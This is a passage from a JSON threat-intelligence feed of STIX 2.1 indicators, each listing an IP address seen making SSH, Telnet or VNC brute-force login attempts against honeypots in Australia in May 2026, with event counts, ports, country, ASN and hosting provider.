      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--52610845-0416-4537-a757-685c5fe817b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.169.156.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--e305adc7-32cf-4b22-894e-afc3d8cf2746",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.75.71.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--25c08b3b-c49f-4d2a-a13b-362d46e2f82f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.175.156.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262595. Organisation(s): OnNet Telecomunicacoes LTDA.",
      "id": "indicator--c5750c9e-bfe5-4ac3-ab10-6815f5affa81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.0.64.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--a24f3528-c5a1-4e60-ae41-69acd202b31d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.132.254.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--e4fdea3f-08e8-4480-a381-9b41c274a7d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.16.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53040. Organisation(s): ALTA CONEXAO TELECOMUNICACOES LTDA.",
      "id": "indicator--dc1fce7c-1b8b-4f63-8241-30331e4283d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.75.47.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--d7e3dac2-5ce1-4e31-bd9f-7a7c59734faa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28202. Organisation(s): MASTER SA.",
      "id": "indicator--9f192c0c-35d7-428e-8a5f-088da337ff48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.53.167.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria.",
      "id": "indicator--7aed0661-7572-4272-ac6f-c5ac778076d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.200.219.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33387. Organisation(s): Nocix, LLC.",
      "id": "indicator--1a3c9f59-03a4-49c1-849e-7be0d2e6b504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.204.244.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--a30780fa-f64f-4385-9292-180b8998d302",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.250.100.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--4a126c8d-0b9e-4684-9c99-d04fb0f1c8c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.23.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--915dd204-1cb8-491a-8df0-07e07fabb594",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.92.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--ae447ccf-0d5f-4695-a184-932488e4b465",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.117.74.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--0531e504-896f-479c-821f-cedfda84f1b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.79.55.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 64445. Organisation(s): NetJoin srl.",
      "id": "indicator--818def07-e364-4c71-bb19-cf9b5eb93dfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.86.144.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 28753. Organisation(s): Leaseweb Deutschland GmbH.",
      "id": "indicator--31287c03-fadc-4954-8c63-34b521982231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.165.217.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 17676. Organisation(s): SoftBank Corp..",
      "id": "indicator--fbc8b6f1-7631-4fa2-bd78-2f6857192b0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.152.99.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--092ebae2-7efa-420e-8d10-f29e00cf78e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): G*******************************1, U********************************1. Passwords observed (masked): A****************************e, H**********************3.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--bafb4785-ac17-4653-bf91-4c8434e5c15c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.84.146.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:15:06.000Z",
      "valid_until": "2026-06-04T16:15:04.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 142122. Organisation(s): Netzone Computers.",
      "id": "indicator--6fbd5ec2-52d9-43da-a7a5-e7869318c0ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.166.152.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--a2e0a2cb-d587-4e71-9619-f407f3b947c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.16.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--4b325096-1adb-433b-8982-e7cef1c9fac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.185.47.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e95884a1-55e5-4d44-8aa5-fb8ab43edcd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.56.176.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--5ae4908b-8c32-4bae-af61-272a971f5158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.30.240.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--eb9f951a-e074-4e51-8502-bc96e6cbfce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.243.75.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--6483a520-25db-4522-8ca2-6fa1343624bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.152.54.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--43332759-18d2-44c4-8fe9-603bf7f08090",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.61.232.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--503c6564-e71c-418c-8f59-97ed7b379704",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.78.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--a36f3405-b963-4701-8a0b-ae967fad13d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--542f3835-40c4-44ef-93e5-d24a689a4808",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 202302. Organisation(s): NETH LLC.",
      "id": "indicator--17556943-676a-410d-beb6-40dcb5c5e19d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.61.52.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: UA. ASN(s): 208949. Organisation(s): Hbing Limited. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.211.191.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--69fc3387-5a9e-4735-85dc-aff444339db3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.161.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
